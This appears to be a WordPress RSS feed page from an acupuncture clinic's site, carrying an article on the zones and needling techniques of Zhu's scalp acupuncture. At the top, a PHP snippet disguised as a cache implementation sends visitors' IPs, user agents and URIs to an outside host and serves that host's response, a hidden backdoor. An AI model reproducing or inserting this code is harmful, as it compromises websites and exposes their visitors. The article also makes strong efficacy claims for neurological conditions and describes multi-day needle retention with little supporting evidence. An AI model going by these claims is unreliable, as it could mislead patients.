/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } Treatment – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 BRIEF HISTORY OF SCALP ACUPUNCTURE http://acuherb.us/brief-history-of-scalp-acupuncture/ Tue, 03 Apr 2012 16:32:41 +0000 http://acuherb.us/?p=1467

By Dr. Kenneth Y. Wang PhD, OMD, LAc.

THE NATURE OF SCALP ACUPUNCTURE

Scalp acupuncture is one of several specialized acupuncture techniques with a specific body location, taking its place alongside ear, nose, hand, foot, and wrist/ankle acupuncture.  The more general acupuncture therapy is often called body acupuncture. 

Although the scalp has numerous traditionally-identified acupuncture points along several of the major meridians (notably the stomach, bladder, gallbladder, triple burner, and governing vessel), modern scalp acupuncture differs from traditional acupuncture therapy.  There are three basic features of scalp acupuncture that differentiate it from body acupuncture:

1.      Treatment zones have been mapped onto the scalp that are associated with body functions and broad body regions. The zones include a few standard acupuncture points, but the treatment principle for point selection is usually not based on the traditional indication for the point or associated meridian.  In general, within a defined zone, the forward part of the zone (nearer the face) is used to treat the upper body, while the rear portion of the zone is used to treat the lower body.  Functional zones, such as sensory, memory, and motor, are usually located at the back and sides of the scalp.

2.      In scalp acupuncture, the needles are to be inserted within a thin layer of loose tissue beneath the scalp surface, at a low angle of about 15–30 degrees, involving an insertion distance of about 1 cun [the cun is a variable unit of measure based on body size; about one inch for an adult].  Standard acupuncture of scalp points normally involves subcutaneous insertion up to a depth 1/2 cun or less (about 0.3–0.5 inches for an adult) at a high angle of 60–90 degrees. 

3.      For scalp acupuncture, the needles are to be subjected to rapid stimulation, which may be carried out in a variety of ways, including pulling/thrusting, twirling, and electro-stimulation.  Standard acupuncture applied to scalp points usually involves less rapid stimulation or moxibustion as the main stimulation technique. When using manual manipulation in modern scalp acupuncture, it is common to stimulate the needles for 2–3 minutes at a time, with a rest period of 5–10 minutes between stimulations. 

The technique is predominantly a small-needle therapy in which shu points in the scalp are treated.  Shu points refer to “stream” points where the qi of the internal organs is infused.  In the system of body acupuncture, there are 5 shu points (one for each element) on each of the 12 meridians (below the elbow or below the knee) plus the back shu points, which are each located in the vicinity of one of the internal organs.  According to the theory of channels and collaterals, shu points in the head can be used to treat diseases of the whole body. 

Lu claims that more than 80 diseases are currently treated by this therapeutic method, which is particularly effective in treating disorders of the central nervous system and various acute and chronic pain syndromes.  He mentions specific examples: neurasthenia, anxiety neurosis, and other psychological and psychosomatic disorders, periarthritis of the shoulders, ischialgia, pain in the back and loin, painful heels, and other pain syndromes, hemiplegia, aphasia, senile dementia, and other brain disorders.

During the 1970’s, scalp acupuncture was developed as a complete acupuncture system.  Three major contributors to the development of this system, Jiao Shunfa, Fang Yunpeng, and Tang Songyan, each proposed different diagrams and groupings of scalp acupuncture points.  For example, Jiao divided the scalp points into motor and sensory areas, Fang into writing (speech) and reading (memory) centers, and Tang into upper, middle, and lower burner areas.  Several different methods of needling were proposed.  Jiao advocated rapid twirling with penetrating and transverse needling; Fang favored the slight twirling method and oblique needling; while Tang recommended long-duration needle retention with superficial stimulation of the needles, using the lifting and thrusting method.

Thus, scalp acupuncture is not really a single system, but a multiplicity of systems still in development, with a 30-year history of practical experience.  A standard of nomenclature for acupuncture points has been developed (adopted in 1984 and reconfirmed in 1989), indicating 14 therapeutic lines or zones based on a combination of the thoughts of the different schools of scalp acupuncture.  However, it is often necessary to carefully review the zones relied upon by an individual practitioner, as few have adopted the unified pattern.

As Lu states in his article, Professor Zhu Mingqing (who had been associate professor at Lu’s department in Beijing before emigrating to theU.S.) has developed a popular version of scalp acupuncture. “In recent years, Zhu’s scalp acupuncture has been a craze inJapan,America, andChina.  As a school of scalp acupuncture therapy, Zhu’s method is actually derived from the standard scheme [adopted inChina] and based on the clinical experience of Zhu Mingqing.  In Zhu’s scalp acupuncture, 8 therapeutic zones are used [actually, 9 zones], and the manipulation is characterized by forceful, small-amplitude lifting and thrusting of the needle, associated with massage [of the body part to be affected] and physical and breathing exercises.  In fact, the therapeutic zones in Zhu’s scalp acupuncture are determined on the basis of the standard scheme.” 

Dr. Zhu’s father was an acupuncturist who worked on scalp acupuncture, and Zhu has been working as an acupuncturist since graduating from the Collegeof Chinese Medicinein Shanghaiin 1964.  He served as assistant director of the Scalp Points Research Group of the Chinese Acupuncture Association from 1987 to 1989.  Since coming to the U.S., he has worked closely with Dr. Eva Munwu Chau, former president of the California Acupuncture Association.  In 1991, Zhu established the ChineseScalpAcupunctureCenterof the U.S.A.in San Francisco, and, in 1992, he published an English-language book on his methods: Zhu’s Scalp Acupuncture, now out of print.  He currently provides treatments for several neurological disorders at Zhu’sAcupunctureMedical & NeurologyCenter, inSan Jose,California (see Appendix 2 for more on Zhu’s experiences in theU.S.). 

Dr. Zhu traces the origins of modern scalp acupuncture to the work of Huang Xuelong, who in 1935 introduced the concept that there is a relationship between the scalp and the cerebral cortex.  Several acupuncturists pursued this line, seeking points and zones on the scalp that would treat diseases of the brain.  Initial results of clinical work indicated that acupuncture applied to the scalp had good effect on diseases that were associated with cerebral damage, such as stroke.  Its applications were then extended to virtually all other diseases, but a focus on nervous system disorders is still dominant.  Other physicians inChinatrace the acceptance of scalp acupuncture as a new system to the development of ear acupuncture, which is also thought to be especially useful for neurological disorders due to the location of needling at the head.

ZHU’S SCALP ACUPUNCTURE

According to Dr. Zhu, Baihui (GV-20) is the basis for all of the scalp points.  Quoting from the Ling Shu: “The brain is the sea of marrow.  Its upper part lies beneath the scalp, at the vertex, at pointBaihui.”  The point’s Chinese name indicates that it is the great meeting place (literally: hundred meetings). Traditionally, this point is treated to stabilize the ascending yang; it is also needled in order to clear the senses and calm the spirit. 

The Governing Vessel enters the brain at point Fengfu (GV-16).  The external pathway of the Governing Vessel is used to divide the left and right sides of the scalp. The left side governs qi and the right side governs blood.  Needling of the left side has a greater impact on disorders of the left side of the head and neck, but of the right side of the body below the neck, and conversely.

In Zhu’s system of acupuncture, there are three main zones (designated the Eding zone, Dingzhen zone and Dingnie zone) subdivided into a total of 11 portions, and three secondary zones, each divided into two portions (designated Epang 1, Epang 2, front zone of Dingjie, back zone of Dingjie, Niehou and Nieqian). The zone names are simply based on anatomical descriptions.  Following is a review of the primary scalp acupuncture zones (See Appendix 1 for a picture of the zones).

Eding Zone

Ding refers to the top of the head, and E (pronounced “uh”) refers to the forehead.  The Eding zone runs from the forehead to the top of the head.  This is a zone that runs along the governing channel, covering a narrow band from a point 1/2 cun in front of GV-24 (at the forehead/scalp border) back to GV-20.  The width is 1 cun and the length is 5 cun. The Eding zone governs the yin side (front) of the body, running from the perineum (GV-20 area of needling) to the head (GV-24 area of needling).  The zone is divided into four regions.

Eding 1 is the anterior quarter of the region, extending from GV-24 forward by 1/2 cun. This region is used to treat the whole head and neck region.  The effects of treatment in this region include calming the spirit, opening the orifices, arousing the mind, and brightening the eyes. To treat, insert the needle along the side of the zone that corresponds with the side of the head or neck that is affected.  That is, although treatment usually includes one needle in the center of the zone (along the GV line), if the problem is on the right side of the head or throat, place the needle on the right side of the zone.  For example, treating blurred vision in the right eye, place one needle in the right side of the Eding 1 zone or insert the needle at the center of the zone and direct it to the right side of the zone.  The direction of needling is usually towards the face.

Eding 2 is the second quarter of the zone, extending from GV-24 to GV-22. This region is primarily used to treat disorders of the chest region. The functions include opening the chest and regulating qi, opening the lungs, stopping wheezing, and calming the spirit.  If the problem is on one side of the body, needle the side of the zone on the opposite side (contralateral).

Eding 3 is the third quarter of the zone, extending from GV-22 to GV-21. This region is primarily used to treat disorders of the middle burner (including treatment of acute appendicitis). The functions include stopping vomiting and diarrhea, regulating the liver qi, and regulating the gallbladder. To treat, use the contralateral side.

Eding 4 is the last quarter of the zone, extending from GV-21 to GV-20. This region is used to treat the lower burner and the lower limbs. The functions include regulating the menses, strengthening the kidneys and promoting urination. Needle on the contralateral side; if the disorder is central, as in bladder dysfunction, needle the central line of the zone or both sides.  The direction of needling is usually towards the back of the head.

As described above, Zhu follows the principal that if the disorder affects the left or right side of the body, then treatment that is intended to affect the head or neck is done on the same side of the zone as the side of the disorder (ipsilateral), but if it is below the neck, then the needle is placed on the opposite side of the zone.  This approach has been followed by many scalp acupuncture specialists inChina. However, a few researchers claim that clinical evidence does not support the need to treat one side or the other; rather, one can alternate sides on subsequent days.  At this time, there is probably insufficient data to demonstrate that one or the other approach is significantly better.  Alternate side needling might be better tolerated by the patient when daily needling is used.  For those following Zhu’s technique, treating one side according to location of symptoms would be consistent with his extensive clinical experience.

Dingzhen Zone

Zhen (pronounced “jun”) refers to pillow, and indicates the back of the head.  The Dingzhen zone runs from the top of the head to the back of the head, between GV-20 and GV-17. The zone is 1 cun wide. It governs the spine, the yang aspect of the body (back). It can be divided into 4 regions, equally spaced from each other. This region is mainly used for pain.

Dingzhen 1 (starting at GV-20) governs the back of the head and the neck.

Dingzhen 2 governs the vertebrae C-7 (seventh cervical, base of the neck) through T-10 (10th thoracic).

Dingzhen 3 governs the vertebrae T-10 through L-5 (fifth lumbar).

Dingzhen 4 (ending at GV-17) governs the sacrum and coccyx.  Needling here is painful, so it is rarely used.

The Eding and Dingzhen zones together form a central line from the front to the back of the scalp.  In mapping the zones to the body structure, this line represents a continuum from head to abdominal base repeated twice, first covering the front of the body (the more frontal points) and then the back of the body.  The meeting point of the two zones, GV-20, can be used to treat the entire body, depending on the aim of the needle.

Dingnie Zone

Nie (pronounced “nyeh”) refers to the temple.  The Dingnie zone runs from the center top of the head to the temple, at an angle (aiming to the cheekbones).  It is located on a line from GV-21 to 1/2 cun anterior to ST-8. The zone is 1 cun wide. It can be divided into 3 equal parts, and each part is used as a representation of a body region that can be treated within the zone.

Dingnie 1 governs the lower limbs.  The homunculus for this zone looks like a person is kneeling with their foot and thigh on top of each other (near GV-21), and their knees pointing towards ST-8.  This zone does not include the hip joint. 

Dingnie 2 governs the upper limbs.  The homunculus for this zone like a person with their elbows bent.  The elbow zone is near the region between Dingnie 1 and 2. The upper arm (not including the shoulder) and wrist are mapped near the intersection between Dingnie 2 and 3.

Dingnie 3 (near ST-8) governs the head.  It covers motor-sensory problems. This zone is rarely used as it can be painful to needle; Eding 1 is usually used instead.

Mapping from the frontal hairline back, the top of the body is forward.  Also, the sensory zone is toward the forward part of the Dingnie zone, while the motor zone is toward the back of the Dingniezone.  Needling of this zone may include insertion from GV-21 towards ST-8 or in the reverse direction.

Epang Zone

Pang (pronounced “pong”) means along the side.  The Epang zone is a series of short segments along the border of the forehead/scalp on either side of the central line.  This zone is actually comprised of short and narrow segments running from the top of the forehead into the hair zone.

Epang 1 is used to treat acute diseases of the middle burner. It is located 1/2 cun on either side of GB-15. The zone is 1/2 cun wide.

Epang 2 is used to treat acute diseases of the lower burner. It is located halfway between GB-13 and ST-8.  The zone is 1 cun long and 1/2 cun wide.

This mapping of the body runs from the center line (GV, the Eding zone governing head and throat) to the side, progressing from head to middle warmer to lower warmer.

Dingjie Zone

Jie (pronounced “jeah”) refers to being closely bound to something: this is a zone adjacent to GV-20.  Dingjie has a front zone—Dingjieqian—and a back zone—Dingjiehou.  Qian (pronounced “chian”) means forward, and hou (pronounced “how”) means back.  The Dingjie zone is a set of four short segments arrayed from the top of the head to the front and back sides of the head.  These are short lines radiating forward and back to the sides from GV-20, the meeting spot between the end of the Eding zone (corresponding to the genital area) and the beginning of the Dingzhen zone (corresponding to the head and neck).  The front Dingjie zone treats an area of the body just above that treated by the end of the Eding zone, and the back Dingjie zone treats an area just below that treated by the beginning of the Dingzhen zone.

Front Zone of Dingjie: This zone is located on a line from GV-20 to BL-7. This area is used to treat the hips and inguinal area.

Back Zone of Dingjie: This zone is located on a line from GV-20 to BL-8. It is used to treat the area above the scapula, the upper trapezius region.

Nieqian and Niehou Zones

Nie (pronounced “nyeah”) refers to the temple.  The Nieqian (meaning forward temple) zone is near the temple, above and to the front of the sideburn, while the Niehou (meaning back temple) zone is set back from the temple (over the top of the ear).  The zones at the sides of the head are rarely used because the needling tends to be painful. 

Nieqian Zone: This zone is located on a line from GB-4 to GB-6. It is used to treat shaoyang disorders (those that are deemed half-inside and half-external in nature, and those affecting the liver/gallbladder areas, such as hypochondrium and sides of the chest), side-of-the-face problems, menstrual-related migraines.

Niehou Zone: This zone is located on a line from GB-9 to TB-20. It is mainly used to treat diseases of the ear.

MAPPING OF THE BODY WITHIN THE ZONES

The Dingnie zones, which extend at angles towards the front of the head (from GV-21 to ST-8 on either side) from the central Eding zone, overlap the central zone.  The mapping of body parts to the zones places the foot at the beginning of the Dingnie zone (at GV-21) and the head at the end of the Dingnie zone (at ST-8):  Dingnie zone #1 is used for treating the legs; Dingnie zone #2 is used for treating the arms; Dingnie zone #3 is used for treating the head.  However, because Dingnie zone #3 is more painful to needle and, because treatment of the head is adequately accomplished in the Eding zone #1;Dingnie #3 is seldom used by Dr. Zhu. 

To visualize the mapping, imagine a person squatting down with arms bent, placing the elbow on the knee, with the hand by the shoulder.  The beginning of Dingnie #1 is at the base of the foot, this overlaps with the upper thigh due to the squatting position, and then it maps upward to the knee; the zone then continues up the arm from the elbow towards the hand and shoulder, including the forearm in that same space (Dingnie #2); finally, it follows up the head (Dingnie #3).  The foot location of the Dingnie zone #1 extends all the way to the far side of the Eding zone (the Eding zone runs along the governor vessel; the zone covers 1/2 cun on either side of GV; when needling Dingnie to treat the foot, the point of the needle, threaded into the scalp, rests at the junction of the beginning of Dingnie zone #1, where it meets the far side of Eding.  Therefore, the needle enters the scalp behind the Dingnie zone.  Dingnie zone #1 does not include the hips, and Dingnie zone #2 does not include the shoulder girdle; to treat those parts of the body, Dr. Zhu relies primarily on the Dingnie zones.  Aside from the standard zones, palpation of the scalp for tender points helps Zhu to identify the specific needling sites within the selected zone.  The Eding zone is the most frequently used of the scalp zones, with the Dingnie zones being used additionally for treating affected limbs.

When treating a neurological problem that affects the extremities, the needles are directed, along a zone, towards the opposite extremity.  Thus, for example, if the left leg is affected, the needle will be directed outward along Dingnie #1 on the right side of the scalp.  Only for problems of the head and neck is the needling done on the same side of the scalp as the disorder.  For disorders that are not specific to a body location, such as hypertension or epilepsy, needling may be done on both sides of the zone.

If the disorder to be treated is associated with a degenerative disease involving a kidney deficiency syndrome (common in elderly patients and those with chronic, degenerative diseases), then Eding zone #4 is usually needled.  A typical needling pattern is: one needle in the center of the zone, and one needle on either edge of the zone, about 0.5 cun apart from the central needle; for a total of 3 parallel needles in the zone, with the central needle leading the other 2 by about 0.5 cun, producing an arrow formation; the outer 2 needles are directed towards the part of the zone that corresponds to the kidney, while the inner needle is directed toward the part of the zone corresponding to the genitals.

Dr. Zhu sometimes uses a “crossing” technique for needle positioning, mainly in treating cases of severe pain.  He selects a zone site for treatment, and inserts one needle along the zone and then inserts a second needle perpendicular to that one, going across the zone and crossing over the first needle.  As an example for right-knee pain, a needle is first directed along Dingnie #1 towards the left temple, and then a second needle is inserted across that one.  The second needle is stimulated by the draining method.  In cases of quadriplegia, another crossing technique is used. The first needle is inserted across the zone (e.g., from the left part of the zone to the right part of the zone, at about a 45 degree angle), and then a second needle, crossing over the first (e.g., from the right part of the zone to the left part of the zone).  In some cases, a series of cross-over needles are inserted along the length of a zone (this may incorporate as many as 3 pairs of needles).

THE NEEDLING TECHNIQUE

The needle size often mentioned in Chinese texts for scalp acupuncture is 26, 28, or 30 gauge, which is suitable for rapid twirling techniques.  For Zhu’s needle stimulation technique (thrust and pull method), a somewhat finer needle gauge of 32 or 34 is suitable for most cases, and the insertion length is approximately 1 cun.  A 30 mm (1.2 inch) needle with a wound head is thought to be the best.  The needle must be long enough so that it is not inserted up to the handle, but short enough that there will not be any bending during insertion and manipulation.  The angle of insertion is typically 15–25 degrees.  The patient should not feel pain, though there are some rarely used scalp points along the sides of the head, mentioned above, that typically produce pain.

The needle is inserted along the practitioner’s nail pressing the skin.  Press besides the treatment zones with the nail of the thumb and first finger of the left hand, hold the needle with the right hand, and keep the needle tip closely against the nail.  By avoiding the hair follicle, one can minimize pain during insertion. The direction of needling is usually based on the mapping of the body within the zone being treated: the needle is aimed (along the line of the zone) toward that portion of the zone most closely corresponding to the area of the body that is affected by the injury or disease.

Although the distance from the skin surface to the skull is very short, there are several tissue layers: the skin, hypodermis, galea aponeurotica and occipito-frontalis muscles, subaproneurotic space, and pericranium.  The subaproneurotic space is a loose layer of connective tissue that is ideal for penetration during scalp needling: the needle slides in smoothly and does not cause pain, yet the desired needling sensation is strong.  If the angle of needling is too shallow, the needle will penetrate the skin and muscle layers and it will be difficult to get a smooth insertion. 

Upon inserting the needles, stimulation is applied for 1–2 minutes (see below for stimulation technique).  The needles are manipulated again after intervals of 10–15 minutes, for 1–2 minutes each time, throughout the duration of the patient visit, which may be as long as 2–3 hours.  Sometimes, the interval between needle stimulation sessions is longer due to insufficient staff time when there are numerous patients, but usually within 30 minutes.

The needles should remain in the scalp for a minimum of 4 hours (except for treatment of acute symptoms, in which case, 0.5–1 hour is sufficient) and up to a maximum of 2 days.  However, for children and weak adults, the time of retention should be shorter.  Dr. Zhu generally prefers long-term needle retention of 1–2 days; this is in contrast to the method of Jiao Shunfa, who advocated removing the needles after the basic manipulations.  At Zhu’s clinic, the scalp needles are often left in place when the patient leaves, and are not removed until the next visit, which is 24–48 hours later.  At that time, new needles are inserted at different points.  If several parts of the body are affected by the illness or injury, the points selected may be rotated through a cycle aimed at treating each of the different body parts.

There are two basic needling methods for manipulating the qi, designated jinqi and chouqi, that have been elucidated by Dr. Zhu.  Both are based on ancient techniques and involve a rapid, short distance movements.  Jinqi (jin means move forward) is a tonifying, thrusting method.  “Thrust the needle quickly with violent force, but the body of the needle doesn’t move, or no more than 0.1 cun in.” Following the thrust, the needle is allowed to settle back to its original position. Chouqi (chou means to withdraw) is a sedating, reducing method.  It is based on forceful movement and a lifting motion.  “Lift the needle quickly with violent force, but the body of the needle doesn’t move, or no more than 0.1 cun out.”  Again, after the pull, the needle settles back to its original position. 

Lu Shoukang mentions in his article that he prefers using the small-amplitude, forceful lifting method, rather than the twirling method, because “it saves the operator effort and gives the patient less suffering.”  He describes his preferred method as follows: “When inserted to a certain depth (about 1 cun), the needle is forcefully lifted outwards or thrust inwards.  The direction [angle] of lifting or thrusting is the same as that of the insertion.  The outward and inward force exerted on the needle should be sudden and violent as if it is the strength from the whole body of the operator.  The lifting and thrusting amplitude should be small, no more than 1 fen [1/10 cun].  After lifting and thrusting continuously for three times, the needle body is sent back to the original place (about one cun) and significant therapeutic effects will be obtained after the maneuver is repeated for 2–3 minutes.” 

For the majority of neurological disorders, the tonification technique (jinqi) is used, with a series of rapid, very small-amplitude, in-out needle movements.  The emphasis is on the forward movement, then allow the needle to naturally pull back to the starting position.  In cases of pain syndromes, the draining method (chouqi) is used, with the same kind of rapid, limited distance movements, but with the emphasis on outward movement, then allowing the needle to settle back in to the starting position.  During the stimulations, it is important for both the practitioner and the patient to focus on the breath (this is an aspect of qigong therapy that is incorporated into the treatment).  There should be no talking during needle stimulus: all attention is on the needling and its effects.  The mental focus is on “directing the breath” to the body part that is to be affected.

Regarding repetitions of the stimulus, Zhu says: “Repeat many times until revival of qi and effect is achieved.”  He usually does not specify a manipulation duration, but rather bases the duration on observed response.  He claims that by using the small amplitude manipulation method rather than the twirling method, one has the advantages of “large amount of stimulation, saving effort, less pain sensation, and strong needling sensation,” yet the therapeutic effects are achieved quickly.  The method is also easy to master, though success may depend on the qi of the practitioner when utilizing the forceful but small amplitude manipulations.  Dr. Zhu does not rely on moxa, due to the problems associated with large amounts of smoke in the group treatment setting and lack of adequate ventilation at theNeurologyCenter.  He does use heat lamps to provide heat to an affected body part, when it is deemed valuable.

The affected part of the body is to be moved during needle stimulation.  If the person cannot make the movement on their own, then the patient will visualize moving the breath to the affected part and, when possible, an assistant will move the body part.  After the needle stimulation, the patient is encouraged to continue the movements.  In cases where the legs are involved, the patient walks, if possible (several patients at Zhu’s clinic would walk around the block, others might walk the length of the room).  Dr. Zhu expressed the belief that a function of scalp acupuncture is to improve or re-establish the connections from the central nervous system to the peripheral nervous system.  The sending of signals between these two parts of the nervous system during treatment is critical.  The intention of the patient to move the affected body part (or the mental practice of moving the breath to the body part) sends signals from the central nervous system to the periphery, while actual movements of the body part send signals back from the periphery back to the central system.

Before withdrawing the needles, Zhu recommends manipulating the needle again while the patient performs breathing exercises.  When it is time to remove the needles, press the skin around the point with the thumb and index finger of the left hand, rotate the needle gently and lift slowly to the subcutaneous level.  From there, the withdrawal should be rapid, and the punctured site should be pressed for a while with a dry cotton ball to avoid bleeding.

Body points are sometimes used as an adjunct to the scalp acupuncture therapy. Dr. Zhu uses relatively few body points (typically 1–3, if any), but emphasizes obtaining the qi sensation with propagation of qi sensation towards the affected part.  Examples of body points are ST-36 for lower limb weakness, or LI-11 or GB-20 for arm weakness.  If a body part affected by disease or injury involves very localized pain or spasm, Dr. Zhu might use body points primarily for local treatment (rather than somewhere else along a meridian affecting the area), and usually with deep needling.  Body points are sometimes selected because of failure to obtain the desired qi reaction when using scalp points. The body needles are also retained during the full length of the patient’s long scalp acupuncture treatment, for up to two hours, not just 20–30 minutes as is often the case with standard acupuncture therapy.

In most cases, treatment is given every day (at least 5 days per week) for 1–2 weeks, then every other day for another 1–2 weeks, followed by twice per week treatment for as long as necessary.  The frequency of treatment may be adjusted according to the severity of the condition and rate of improvement.  According to Lu, for best results in treating hemiplegia due to stroke, scalp acupuncture should initially be performed twice per day.  For other chronic conditions, daily treatment or every other day treatment is recommended for the initial therapeutic plan, to be followed-up by less frequent treatments once progress has been made.

CONCLUDING NOTES

It is evident that after 30 years, scalp acupuncture is still evolving in its techniques and applications.  InAmerica, Dr. Zhu and his students have developed the techniques to suit the Western patients (see Appendices 2, 3, and 4).  In reviewing the Chinese literature (see Appendix 5), one can draw certain general conclusions.  Most authors suggest that utilizing scalp and body acupuncture together is a valuable method.  The recommended frequency of treatment is high, from once or twice per day to once every other day, with a course of treatment typically involving 10–12 consecutive sessions, followed by a break of 2–4 days, sometimes 5–7 days.  Needle insertion, manipulation, retention, and removal are approached with differing techniques.  An expressed concern is to minimize pain for the patient and also to make the procedure practical for the acupuncturist.  Thus, the frequently-mentioned method of rapid needle twirling may be replaced, in some cases, by other methods (including electrical stimulation) because of the potential for causing pain for the patient and fatigue and irritation for the acupuncturist.  At least one study compared the efficacy of twirling (manual and machine-aided) and electrical stimulation and the conclusion was that both were useful.  The twirling method with large needles remains a common practice inChina.

In all cases, it is considered important to obtain an appropriate needling sensation (not pain); often, this is to be accomplished by utilizing needle manipulation at least two to three times in the course of a single session (for 2–3 minutes each time).  The manipulation is usually rapid, with frequency of twirling in the range of 150–300/minute or electrical stimulation reported in the range of 150–700/minute.  Total duration of needle retention in most cases is 20–45 minutes, though some patients are sent home with needles in place (as Dr. Zhu recommends), for retention of several hours up to a maximum of 2 days.

Indications for scalp acupuncture include virtually all the usual indications for body acupuncture, but the main applications are stroke, paralysis, pain, and emergency situations (Zhu has published a book regarding the latter: A Handbook for Treatment of Acute Syndromes by using Acupuncture and Moxibustion, which includes scalp and other acupuncture techniques).  Contraindications for scalp acupuncture include very high blood pressure (220/120), heart disease, infection, post-operative scars in the acupuncture zone, some cases of pregnancy (mainly habitual miscarriage), persons who are extremely nervous, and infants whose fontanels have not closed.

In a report fromHarbin, several aspects of scalp acupuncture for stroke patients were commented upon, which largely match the methodology and interpretation expressed by Zhu:

1.      The needle runs in the layer of loose connective tissue between the galea and the pericranium.

2.      The response of “getting qi” is more importantly measured by observing an improvement in movement or sensation of the affected part of the body rather than a needling sensation like the one that is generated when the affected parts are directly needled.

3.      Scalp points are especially effective because they are close to the part of the body that is affected, namely the brain.

4.      Prolonged stimulation time, with rapid needling speed, gives better results.  For example, constant needle twirling [the stimulation method more often used inChina] for 3 minutes gave superior results to constant twirling for half a minute.

5.      The effect of scalp needling is to stimulate the cerebral cortex; it can reverse the imposed inhibitory mechanisms on nerve function, revive cells that are not completely destroyed, and enhance the function of nerve cells that are subjected to ultra-low oxygen levels.

In general, Chinese clinical reports indicate a high degree of effectiveness; cases and situations leading to better or poorer outcome have been elucidated.  InAmerica, there is less tendency to provide daily acupuncture, which might reduce the effectiveness.  Given the general unfamiliarity with acupuncture, there is more likelihood of patients waiting to try acupuncture as a last resort rather than a first effort, so that the chances of improvement are more limited.  The scalp acupuncture technique taught by Dr. Zhu has been used at ITM’s An Hao Natural Health Care Clinic inPortlandto treat a multiple sclerosis (see Appendix 3 for protocol details), peripheral neuropathy, migraine headache, and Bell’s palsy.  Good results were attained in cases where body acupuncture had not been sufficiently effective. 

APPENDIX 1: Zone Charts          Acupuncture Zones in Zhu’s Acupuncture.

 

APPENDIX 1, continued: Zone Charts

 


Acupuncture Zones Based on Motor/Sensory, Speech/Hearing, and Other Divisions 
(not used in Zhu’s acupuncture system).

Appendix 2: Dr. Zhu’s Work inAmerica

Dr. Qingming Zhu opened his neurology clinic for scalp acupuncture therapy inSanta Cruz,Californiain October, 1997, after offering his services for 6 years inSan Francisco.  Santa Cruzis a small beach town about 85 miles south ofSan Franciscothat supports an acupuncture college—the Five Branches Institute. The neurology clinic shares space in the same building as the college, serving also as a training center for acupuncture students.  Another acupuncture clinic is also in the same building, staffed by several experienced Western practitioners, and provides the more standard variety of acupuncture therapy. Although Zhu has learned English, his work is aided by a translator who can speed up and clarify the communications. Still, many of his house calls are made without this help.

While Zhu’s work has gotten some favorable press, his efforts at helping those with neurological problems remains an uphill battle.  InCalifornia, medical insurance generally covers the cost of acupuncture, but insurers have repeatedly refused to pay for other medical expenses associated with Zhu’s work, such as special exercise equipment developed for those with paralysis, herbal treatments, and extended physical therapy.  The main hospital in neighboringSan Jose, after initially letting him work on in-patients, has since refused to continue such permission, viewing his techniques unfavorably, despite the overwhelming support of those receiving the treatments.  Medical doctors have scoffed at his claims to be able to help quadriplegics by scalp acupuncture.

His clinic is a small facility with one main room, having a dozen chairs for patients to sit on while receiving scalp acupuncture, and a pair of curtained-off segments of the room for beds so that patients can receive acupuncture while lying down.  There is a small office, which often turns into a treatment room, and one small private treatment room off the office.  At this facility, about 20 patients visit each day, staying for 2–3 hours: after the needles are inserted, Zhu stimulates the needles from time to time.  The room becomes quite crowded as most of the patients come with helpers.  The clinic is usually open only 4–5 hours a day; much of the rest of Zhu’s long and grueling work day is spent making home visits to those who are so severely impaired that they can’t travel to the clinic.  He also teaches at the college.

His treatment technique relies almost exclusively on scalp acupuncture, sometimes using a dozen or more needles in the scalp at one time for the more severely debilitated patients.  Although the needling is sometimes painful, he has adapted the treatment so that even babies and young children accept it.  Zhu rarely prescribes herbs, but primarily relies on frequent scalp acupuncture therapy (daily or every other day).  He has a few patent remedies available at his clinic and has access to crude herbs for making decoctions, or preparing topical applications, from the college pharmacy.

Zhu treats a wide range of neurological problems, including cerebral palsy, epilepsy, injury-induced paraplegia, multiple sclerosis, and post-stroke syndrome, as well as disorders that seem to fall beyond the ability of neurologists to pin them down with a name.  The results of Zhu’s work are somewhat difficult to elucidate.  With the absence of support from the community of neurologists who could provide detailed monitoring, and the limited assistance available during patient treatment (which doesn’t permit careful documentation of the cases), the extent and nature of the responses are not well established. At Zhu’s clinic, patients report notable improvements compared to their earlier conditions.  In a few cases of quadriplegia, Dr. Zhu is using a video camera to illustrate the extent of changes in patient capabilities. For more information on Dr. Zhu and his clinic, write: Zhu’sAcupunctureMedical & NeurologyCenter,100 O’Connor Drive, Suite 20,San Jose,CA95128, or call Five Branches Institute (831-476-9424).

 

 

APPENDIX 3:  Scalp Acupuncture Protocol for Multiple Sclerosis

 

The following protocol was developed by Dr. Edythe Vickers, based on the teachings of Dr. Mingqing Zhu, and is being used at the Institute for Traditional Medicine.

1.      If the primary lesions are in the brain, insert needle in Eding Zone 1, needling along the GV line towards the face.  This is intended to improve vision (e.g., to relieve optic neuritis) and increase mental clarity.  If the primary lesions are in the neck, then insert the needle in Dingzhen Zone 1, which governs the neck.

2.      Insert needle from Eding Zone 3 to Eding Zone 4, needling along the GV line towards the back of the head.  This is intended to tonify the kidney/liver system that is weak in nearly all persons with multiple sclerosis.  If the patient is suffering from a bladder disorder (typically, there is inability to completely empty the bladder, and there may also be incontinence; many individuals rely on a catheter), then needle only within Eding Zone 4.  This latter treatment is the same as selected by Chen and Chen  for treatment of enuresis.

3.      Use two additional needles to complete the treatment.  For persons who are not highly symptomatic, the two needles may be placed parallel to the needle in Eding Zones 3 and 4, about 1/4 inch on either side of the central needle.  This will enhance the tonification of the liver/kidney system and strengthen the legs, bladder, and abdominal organs.  For persons who have weakness, tingling sensation, or other disorders affecting the arms and hands, needle instead Dingnie Zone 2, with the needle aiming towards the face (towards ST-8).  If the problem affects one side of the body, needle the opposite side of the scalp, but if it affects both sides, needle both sides of the scalp.  For persons with weakness and numbness in the legs, use Dingnie Zone 1, with the needle towards the GV-21.  For persons with aching and numbness in the shoulders, needle the Dingjie  Zone.  Again, needle either one side or both sides, as appropriate.

